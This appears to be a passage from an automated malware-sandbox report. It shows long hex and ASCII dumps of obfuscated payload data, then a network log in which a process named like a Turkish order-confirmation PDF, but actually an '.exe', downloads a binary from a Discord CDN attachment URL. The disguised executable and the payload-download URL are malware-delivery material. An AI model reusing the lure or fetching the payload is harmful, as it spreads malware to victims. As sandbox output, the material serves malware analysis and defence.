JfIe%%%%%%%%%%%%%%%%%%%%%%%%
2022-06-26 07:42:48 UTC	29	IN	Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83 da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2 04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 f2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e 0c e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da da 75 8f 25 8d 25 29 25 25 0d 87 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2 da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5 Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n`P.{fffufufufu%%)%%^'6.{fffufufufu%)%%O^'6.{ffff`6
2022-06-26 07:42:48 UTC	30	IN	Data Raw: 9c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d 0a 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d a5 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 30 66 11 5e e9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c e9 d9 23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hiI)u2{.`P)If)I:6.{2,fff%hiI)u2{.`P)If)I:60f^.{fff -d f 1d !{h !uf u.td f f0!6448-%u0f\#.fh`#ufkuM
2022-06-26 07:42:48 UTC	32	IN	Data Raw: 0c e5 64 20 21 de 28 35 64 58 1d 0c e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf 6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 e0 14 f3 99 01 d1 0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25 25 64 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 0c b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac 0c f7 ce c9 62 b4 04 ef 4e 29 dc ac 0c f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac 0c f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da da 7f 34 66 50 fd c4 22 da da da 0c b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 f3 99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37 Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)^X%/wh A4fP"aOGaUaRD/%%%QU}Uf -Z7
2022-06-26 07:42:48 UTC	33	IN	Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e 1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21 ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 b1 65 25 de 50 11 94 de 25 25 25 ce c9 c6 08 68 50 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11 66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 b1 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65 25 24 73 6b 73 1c 73 d1 2d e5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 f9 0c f7 16 28 31 5a f8 5e d4 d8 a1 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2 Data Ascii: % %%%%%%%%Pf 1^'X'%%%^77%%%d 1u%%X5'f -uh 8'%%fX! Z%%^'N?d%%%h$e%P%%%hP855)R 1'%hAxe%8f8d !6:%%e%he%he%he%he%$skss-PUsX%((1Z^=Z?Uc%_
2022-06-26 07:42:48 UTC	34	IN	Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd 0c e5 76 b6 07 b4 48 1d 76 c6 7b d1 2d e5 99 29 61 45 99 d2 73 9e 0c e5 0c f7 d1 51 5f 29 2f 4e ea ff e8 a1 9c 1c 25 64 20 19 ff 20 19 67 c6 0f 73 9e 0c e5 0c f7 af 33 a5 d4 06 99 e0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 f7 2f dc e7 5c 1f 19 dc 25 25 97 0f a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 c0 38 9e 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d 68 20 e5 0e a4 0d f5 d4 da da 66 ed 68 30 e5 66 9e 0d 31 8a da da 36 66 c0 38 e7 31 25 b5 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f 25 8f 25 68 30 2d 68 20 e5 8c dc 0d c5 d4 da da 66 ed 68 30 e5 66 9e 0d 01 d3 da da 36 66 c0 38 e7 2d 25 b5 2e 7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb 0e a4 0d 9b 23 Data Ascii: 6P'%)'v%P+)vHv{-)aEsQ_)/N%d gs3Pk+Q_)/N3kF/\%%P'6:f80f^.f%%h0-h fh0f16f81%0f^.f%%%h0-h fh0f6f8-%.{fffrf#
2022-06-26 07:42:48 UTC	36	IN	Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38 9e 66 e5 30 66 11 5e e9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75 8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25 30 66 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2d 64 67 19 34 38 9e 66 e5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13 66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8 Data Ascii: f`?f0-f!#f(-h%ff -!#68f0f.ff -ufff468f0f^.{fff -u)dP %d8 %h u%h 5%%%fh 46f8he%0f,f -^!f5d0!'%f57f(-_,f% !ef0-dg48f0ff -%POf -fe-1-f -hmf -huf -^p#f -e
2022-06-26 07:42:48 UTC	37	IN	Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d 0a d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20 19 0d 9a d6 da da 34 66 20 fd 0d c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75 30 68 30 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da 34 66 20 19 6d 5e 0d 27 97 29 99 3d c6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 d1 0b 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 0b 1c 25 0d 35 1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 f7 Data Ascii: %4%%040}4f -u0h0f 4f 4v%%0'404f -u0h0f #!4f P4%%040#4f m^')=Uf -u f04%%f -u f)`%O4%%f -u f)`%54%%04f m^'/m$mHZ04f -u f04
2022-06-26 07:42:48 UTC	38	IN	Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 d0 da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac 66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25 25 25 0d e3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da 0e e5 7f 34 34 89 64 35 8d f0 c7 65 25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e c4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75 25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5c e9 1d 23 da da 2e 7b 66 ff 66 15 0e e5 64 60 21 23 da da 0e e5 64 60 1d 23 da da 60 b6 99 e6 Data Ascii: f -u%%%%4@f+d f+%%%%~=%Nf+k%%d+'+f+]%f+%_ Pf -uf;0f 4f+]%;+7f -uh %%%4f+]%`f -#44d5e%h '%%%Lr:6f8(u(%%%u%(u(%%%%%%%%%E%%%0f\#.{ffd`!#d`#`
2022-06-26 07:42:48 UTC	40	IN	Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20 11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2 0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25 25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 0a 0d 55 ca da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20 17 8b 64 20 11 66 ae af e8 6c 0b 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e 25 25 25 66 f0 b9 0b 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76 Data Ascii: f d [fX f d f d ?fX f d f d ^X!%30#4fX'RF%f,%%%t4F^%%a^UfXP7f d f d 5f d f d fl%f>!ff;y%%%%%f%e%`v
2022-06-26 07:42:48 UTC	41	IN	Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 c0 38 e7 29 25 66 e5 2e 7b 32 2c 66 b4 66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 e5 a3 e0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2c 2e 7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 0e a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd 66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 0e a4 2c 2c 2c 2c 2c 2c 2e 7b 32 0e e5 30 8d 86 88 65 25 89 da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 e3 d5 0b 1c 25 9a 05 0b 1c 25 30 8f e6 68 20 19 75 94 b5 9c 1c 25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 e5 9c 1c 25 66 ae 6f 68 1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da 1e 5e a2 29 Data Ascii: fffw6f8)%f.{2,fff'hiI)u{2)`)I'f:60f,.{2d(!fff8-.f 5fe!fF^%Pf !f)fX:648-%0f,,,,,,.{20e%UdEd !%%%%%0h u%fohimT4f0fn0h u%foh]m{4f0fFn^)
2022-06-26 07:42:48 UTC	42	IN	Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da 75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 0f d8 da da 75 7c 8d 0b 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 0f d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc 25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 f0 d5 4a 65 25 0d 53 a9 da da a9 e5 99 04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 e5 99 37 66 30 21 a5 a1 27 da 53 99 2d dd 0d d7 65 25 64 20 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d 0b 1c 25 0d d3 7c da da 75 0d 75 8e da da 68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9 Data Ascii: {\!%5%%PA%%h`uf`!u`P%%h`u\|%ufhd !dPh`3%%fgh`#)%%"e%d !e%d ffJe%Sf)d !f !`7f0!'S-e%d %%%h`!u\|]%fe)u\|%\|uuhpf\h`d`
2022-06-26 07:42:48 UTC	44	IN	Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 e6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05 7c 0d aa 1c 25 0d f2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd 0e e5 7f 34 34 89 64 35 8d 06 92 65 25 68 20 05 0d e8 64 da da 68 20 21 0d e0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 c0 38 9e 64 f1 64 39 49 66 48 25 c4 56 a7 da da 9e 66 e5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 e5 66 e8 e1 f3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 e5 5a f0 99 2e 08 e0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 e0 4c da da 1a 5e 0d 27 97 0e 99 12 c6 22 18 bb 25 25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 0a 08 d8 Data Ascii: f !d dP dX %h u'h0\|%f(\|Re%!f44d5e%h dh !d6f:6f8dd9IfH%Vf0fah(-^)f0-8)%ff%\|]e%#! f%%%ZQ4%%Z.%%0b%%%amm0L^'"%%Zn%%Mmm;
2022-06-26 07:42:48 UTC	45	IN	Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f 0e f7 60 e5 99 8b a5 61 5d 25 99 85 60 da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b a1 37 af 31 55 5c bc da 25 25 25 ea 7e e8 3d 9c 1c 25 97 c4 66 aa 06 f3 5c bc dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd 0e e5 a5 18 79 c2 1c 25 25 99 ea 66 9e 0d 49 ad da da 66 fb 6f 0d 8d da da da 83 36 9e b5 0e a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 66 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25 25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 0e c8 60 da a3 6b 66 eb Data Ascii: %%%H\%%%f{2f`a]%`P9%%%%~=%Nqmfss`71U\%%%~=%f\%%T$^#`P)')]%%%~=%N'f:he%.{ffy%%fIfo6y%%yffhe%.{fff`f`fff%%%6f.{20ff`kf
2022-06-26 07:42:48 UTC	46	IN	Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da 0e 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af 20 da 00 da 25 25 25 ea 86 e0 3d 9c 1c 25 23 20 da 23 a6 50 0f 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a 83 36 34 38 9e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5c e9 89 23 da da 2e 7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 c2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5 99 e0 7e 6d c2 1c 25 8b 60 e5 99 f6 66 f5 8b 5c 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3 61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb e0 30 c2 1c 25 25 eb e0 79 c2 1c 25 25 c4 9a 25 25 25 30 0d 15 Data Ascii: \|m%ui+O? %%%=%# #P^'^#1X/i+/iP:648\|q%^R~5%he%0f\#.{2m%)%%q%%%%u%%%%H`~m%`f\dq%/~u%ae%=%-%%%^%'`%%%H0%%y%%%%%0
2022-06-26 07:42:48 UTC	48	IN	Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e e9 11 2e 0e e5 64 20 11 0e e5 30 8d 91 a2 65 25 89 da 55 89 64 45 0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68 20 15 75 8f dc 66 e8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 f5 1c 25 d7 dc 7c 15 9d 65 25 0d 4b c8 da da 66 f5 64 7f 31 66 e7 0d 8b 97 da da 0e e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e c4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 e0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b 66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d 7c c1 da da 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61 Data Ascii: %Y%f0f^.d 0e%UdE xf`d8 %h0ff d !h uf%\|e%f9fE%\|e%Kfd1f44d5Ne%h 6f8.f`P}f6.{,9%f;fd+f+f%d-%%%f+_^%P6.e%\|f`5!e%.~a
2022-06-26 07:42:48 UTC	49	IN	Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d e9 72 da da 16 1e 49 99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a f0 66 9c 94 da da 25 25 74 d2 d4 60 f7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 0e a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 19 2e 66 fd 77 0d 2c bd da da 64 20 19 0e e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 0e e5 30 8d 11 f1 65 25 89 da 55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d 0e e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4 6e 91 da da c6 ce 0e e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d 36 66 c0 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 b1 aa 1c 25 29 9e 1c Data Ascii: f)Im1f)I^1%PmffErIYh1f\%%PfC#`Zf%%t`Pf#6f5d-ff0f^.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f urPf 6f8he%%%%1%%)
2022-06-26 07:42:48 UTC	50	IN	Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 0b 1c 25 25 99 ea dd 5d 9c 1c 25 df 0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce d0 da da 0d bb cc da da 0e e5 7f 34 34 89 64 35 8d b6 ac 65 25 9e c4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e 06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 0e e5 30 8d 14 f7 65 25 89 da 55 89 64 45 da e0 cd c2 1c 25 0e e5 7f 34 34 89 64 35 8d 65 f7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd c2 1c 25 dc 9e 30 66 11 0e e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 0e e5 7f 34 34 89 64 35 8d 9d f7 65 25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%%'%%%U%%.{ffX3f6f6f0f0e%UdE%44d5ee%kB8f^%0f0Le%UdE%44d5e%3B8f^%
2022-06-26 07:42:48 UTC	52	IN	Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00 61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21 30 df c9 f7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6c da da da 34 7e d9 c2 1c 25 30 df f9 f7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da da da 34 7e e1 c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 f7 65 25 dd a1 b4 65 25 0d 14 da da da 34 7e e9 c2 1c 25 30 df 05 f7 65 25 dd a9 Data Ascii: f6485%m%fi%fe%fa%f0f,.{ffd8!f -^!%{f -fe!uhd !^X!%Pd8!f !6480f,]e%7hd !0e%me%4~%0e%e%l4~%0e%e%V4~%0e%e%@4~%0e%e%*4~%0e%e%4~%0e%
2022-06-26 07:42:48 UTC	53	IN	Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 e5 e1 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 e1 01 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 2a 9b 40 97 8b 91 4a 52 20 97 97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f2 20 7b 3c 97 44 3c 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97 Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JR JfEe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Ee%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<$<DB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49719	162.159.130.233	443	C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:42:48 UTC	57	OUT	GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm HTTP/1.1 User-Agent: 21 Host: cdn.discordapp.com Cache-Control: no-cache
2022-06-26 07:42:48 UTC	57	IN	HTTP/1.1 200 OK Date: Sun, 26 Jun 2022 07:42:48 GMT Content-Type: application/octet-stream Content-Length: 279040 Connection: close CF-Ray: 72144ef0eddbbb95-FRA Accept-Ranges: bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Eluiezilfwmdrgrdfrqpnwmurrnwnhm ETag: "7d74af495b07aad93486870343b767e3" Expires: Mon, 26 Jun 2023 07:42:48 GMT Last-Modified: Sun, 26 Jun 2022 05:30:40 GMT Vary: Accept-Encoding CF-Cache-Status: MISS Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1656221440589477 x-goog-hash: crc32c=Xt3y7g== x-goog-hash: md5=fXSvSVsHqtk0hocDQ7dn4w== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 279040 X-GUploader-UploadID: ADPycdvxBSrtOJadICrFNKKLfO89NiJC2XolLUl9l7gh0iKGSgrZ72iFb7WGAL9LAxlO6pTzoCsdjuJYzhz5OOHW7aIxBA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=b6QKg3CSTE%2B519lp1p3v10r2uF4jcCWfiuHvEH%2BIvZtI9%2FyN8BLBAVUiP1VZglETdO9O81AT2sJY0zJo5Q7E9QyKCBFtp8s1QcgluhsHquUIFJ6tKzZSzfdsn1fhf3OUfO2EqQ%3D%3D"}],"group":"cf-nel","max_age":604800}
